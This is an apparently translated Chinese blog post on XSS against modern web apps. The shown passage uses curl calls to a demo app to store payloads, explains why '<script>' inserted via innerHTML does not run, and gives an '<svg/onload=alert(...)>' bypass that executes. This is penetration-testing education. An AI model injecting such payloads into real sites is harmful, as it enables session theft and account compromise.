CSP与XSS
“<script>alert(1)</script>”和使用“python –m SimpleHTTPServer”的时代已经远远消失。这些实现跨站点脚本 (XSS) 和泄露/加载数据的方法在本地主机之外的实用性变得越来越不实用。由于现代浏览器安全控制和应用程序开发人员安全意识的提高,我们遇到了许多事情,阻止了我们所有经典的 XSS 攻击。
人们只展示完全无视现代安全控制的 XSS 概念验证 (PoC) 的想法让我彻夜难眠。因此,我想我应该快速列出您在典型工作中可能遇到的一些常见问题,以及如何解决这些复杂性,以实现和展示现实的 XSS 和真正的价值。
但是,好吧,请大家坚持下去!在开始之前,我只想承认,是的,许多浏览器都内置了试图阻止 XSS 的保护措施,并附有它们自己的一组特定弱点和绕过措施。但是,出于这篇博文的目的,我不想谈论绕过大量不同的浏览器 XSS 控件。我想保持更“应用程序”的特定上下文,并写一篇关于利用我们所知道的创造性的文章,而不是想出一些全新的东西。
因此,我将尝试简单介绍一下我在针对现代应用程序开发完整 XSS PoC 时遇到的一些非常常见的问题。
- 动态创建的网页中的常见“陷阱”;
- “<script>alert(1)</script>”的外观;
- 位置很重要,知道什么时候需要等待;
- XSS 杀手,称为内容安全策略 (CSP);
- HTTP/S 混合内容——如何“干净”地泄露数据;
- B-b-b-使用跨域资源共享 (CORS) 的双向 C2 的基本要求。
$ curl -X POST -H "Content-Type: application/json" --cookie "PHPSESSID=hibcw4d4u4r8q447rz8221n" \
-d '{"id":7357, "name":"<script>alert(1)</script>", "age":25}' \
http://demoapp.loc/updateDetails{"success":"User details updated!"}$ curl --cookie "PHPSESSID=hibcw4d4u4r8q447rz8221n" \
http://demoapp.loc/getName{"name":"<script>alert(1)</script>"}
现在让我们也快速浏览一下用于使用此 API 调用动态更改页面内容的 [超级安全] JavaScript 代码:
function getName() {var xhr = new XMLHttpRequest();xhr.onreadystatechange = function () {if (this.readyState == 4 && this.status == 200) {var data = JSON.parse(this.responseText);username.innerHTML = data['name'];}}xhr.open("GET", "/getName", true);xhr.send();
}
这看起来是一个简单的 XSS!但是,如果我们尝试注入一个基于 “<script>” 的经典有效负载,则什么也不会发生;即使没有输入验证,并且标记既没有编码也没有转义。这可以在下面看到,一切都告诉你应该出现一个光荣的警报框:
但是为什么!这是什么黑魔法!好吧,虽然这(具体来说)看起来应该是 XSS 攻击,但实际上是无害的。这是因为 HTML5 规范规定,如果使用元素的 “innerHTML”属性将 “<script>”标记插入到页面中,则 不应执行该标记。
这可能是一个令人沮丧的“陷阱”,但可以通过使用 “<script>” 标记以外的 任何内容 (例如,使用 “<svg>” 或 “<img>” 标记)轻松绕过。我们可以通过发出以下 API 调用来修复此攻击:
$ curl -X POST -H "Content-Type: application/json" --cookie "PHPSESSID=hibcw4d4u4r8q447rz8221n" \
-d '{"id":7357, "name":"Bob<svg/onload=alert(\"Woop!\") display=none>", "age":25}' \
http://demoapp.loc/updateDetails{"success":"User details updated!"}
现在,当页面再次检索用户名时,XSS 攻击成功。